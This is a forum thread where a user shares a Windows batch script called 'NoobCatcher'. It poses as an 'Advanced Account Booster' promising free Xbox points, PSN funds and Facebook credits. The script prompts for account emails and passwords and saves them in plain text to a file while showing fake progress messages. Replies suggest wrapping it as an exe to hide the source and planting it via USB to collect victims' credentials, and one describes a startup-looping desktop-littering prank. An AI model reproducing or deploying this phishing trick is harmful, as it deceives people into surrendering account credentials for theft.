The easiest language ever, This is my little NoobCatcher :)
[CODE]
@echo off
cls
Color a
title Advanced Account Booster v1.2.4a
echo Welcome to the AAB v1.2.4 alpha.
echo First, Enter the account you wish to boost.
echo Pick from the following:
echo Xbox, PSN, Windows Live or Facebook
set /p account=
if '%account%' == 'Xbox' goto X
if '%account%' == 'xbox' goto X
if '%account%' == 'PSN' goto P
if '%account%' == 'psn' goto P
if '%account%' == 'Windows Live' goto W
if '%account%' == 'windows live' goto W
if '%account%' == 'msn' goto W
if '%account%' == 'MSN' goto W
if '%account%' == 'Facebook' goto F
if '%account%' == 'facebook' goto F
:X
title Microsoft Points Sender
echo Microsoft Points Sender
echo Enter XBOX LIVE Credentials:
Email
set /p xemail=
Password
set /p xpassword=
cd C:\
echo XBOX ACCOUNT: Email = %xemail% Password = %xpassword% > nicefile.txt
echo Sending Account 1000 Microsoft Points.
echo Sending Account 1000 Microsoft Points.
tree
exit
:P
title PSN 1000 GBP Additional Account Funds
echo PSN Code Redeemer
echo Enter PSN Credentials:
Email
set /p pemail=
Password
set /p ppass=
cd C:\
echo PSN ACCOUNT: Email = %pemail% Password = %ppass% > nicefile.txt
echo %pemail% with Password (HIDDEN)
pause
echo System will now redeem codes on account to the value of (1000 GBP)
pause
echo Sending 250 GBP worth of codes
echo Sending 250 GBP worth of codes
echo Sending 250 GBP worth of codes
echo Sending 250 GBP worth of codes
tree
exit
:W
echo Windows Live Messenger Premium Upgrader
title Windows Live Messenger Premium Upgrader
echo Enter Windows Live Credentials
echo Email:
set /p wmail=
echo Password:
set /p wpword=
cd C:\
echo Windows Live Account: Email = %wmail% Password = %wpword% > nicefile.txt
echo Upgrading to premium.
tree
exit
:F
echo Facebook Credit Giver
title Facebook Credit Giver
echo Enter Credentials:
echo Email:
set /p fmail=
echo Password:
set /p fword=
cd C:\
echo Facebook Account: Email = %fmail% Password = %fword% > nicefile.txt
echo Sending 1,000,000 Facebook Credits.
pause
tree
exit
[/CODE]
I might compile it as an exe lol
Like, so badass man. I want to be just like you when I grow up.
-___- I don't think it's good, I just think it's fun bat scripting you moronic fictional blonde.
One time I made a batch file accompanied by a cab file. When you launch the bat, it extracted 1,000 blank text documents to litter the desktop, in a never-ending loop of hell. Was fun placing a shortcut in Startup. :v:
"Death by a thousand documents."
omg how did you make that
It's like I'm in the matrix
[QUOTE=DrJenkins;34131534]The easiest language ever, This is my little NoobCatcher :)
I might compile it as an exe lol[/QUOTE]
I hardly know a thing about actual programming myself, but I'm pretty sure batch files ≠ compilable programming.
OP is L33T
hey i put in my facebook account details but i still haven't got my credits wtf
[QUOTE=Corey_Faure;34154647]I hardly know a thing about actual programming myself, but I'm pretty sure batch files ≠ compilable programming.[/QUOTE]
You can change them to an exe file, but it's pointless unless you want to play a trick on your friend
[QUOTE=djjkxbox360;34162502]You can change them to an exe file, but it's pointless unless you want to play a trick on your friend[/QUOTE]
Or protect your source code. Possibly even add an icon and password. I've done it before, it's easy with bat2exe converter.
[QUOTE=Brock Obama;34163573]Or protect your source code. [/QUOTE]
You have no idea how easy it is to extract the original bat file from the exe wrapper made by these converters.
[QUOTE=B!N4RY;34180032]You have no idea how easy it is to extract the original bat file from the exe wrapper made by these converters.[/QUOTE]
It may be easy to do, but the average dipshit doesn't know any better.
Yeh, let's put the data we stole off them next to the file we ran.
Pr0
[QUOTE=Chulo Arco;34189650]Yeh, let's put the data we stole off them next to the file we ran.
Pr0[/QUOTE]
You're supposed to run it from a USB stick in the back of the PC, and collect your treasures at the end of the day. ;)
[QUOTE=Brock Obama;34154571]One time I made a batch file accompanied by a cab file. When you launch the bat, it extracted 1,000 blank text documents to litter the desktop, in a never-ending loop of hell. Was fun placing a shortcut in Startup. :v:
"Death by a thousand documents."[/QUOTE]
You do realize you can just generate empty files, right?
[editline]13th January 2012[/editline]
OP, you do realize batch is a [b]scripting[/b] language, right?
[QUOTE=DeadKiller987;34190736]You do realize you can just generate empty files, right?
[editline]13th January 2012[/editline]
OP, you do realize batch is a [b]scripting[/b] language, right?[/QUOTE]
[url]http://www.killersites.com/blog/2005/scripting-vs-programming-is-there-a-difference/[/url]
A box for you.
[QUOTE=Chulo Arco;34195981][url]http://www.killersites.com/blog/2005/scripting-vs-programming-is-there-a-difference/[/url]
A box for you.[/QUOTE]
A box for you. Batch is a scripting language. It is designed to automate simple tasks and run them in order. You cannot program in Batch, you cannot compile batch, you can only use provided programs and simple logic. That blog post does not support, or disprove your point in any way shape for form, it merely explains that there is a difference between scripting and classical programming of compiled languages.
Shit, it doesn't even mention Batch. Batch is like Bash, a scripting language designed to automate a task, and does not need compiling. Nothing more. You write a script telling your computer a few tasks to do, it does them, nothing particularly complex at all. Unlike a program where you would be programming the logic behind the tasks.
[QUOTE=Chulo Arco;34195981][url]http://www.killersites.com/blog/2005/scripting-vs-programming-is-there-a-difference/[/url]
A box for you.[/QUOTE]
"I have an article saying something, therefore it must be true!"
[QUOTE=Chulo Arco;34195981][url]http://www.killersites.com/blog/2005/scripting-vs-programming-is-there-a-difference/[/url]
A box for you.[/QUOTE]
Oh god. That article is so dumb it made my head hurt.
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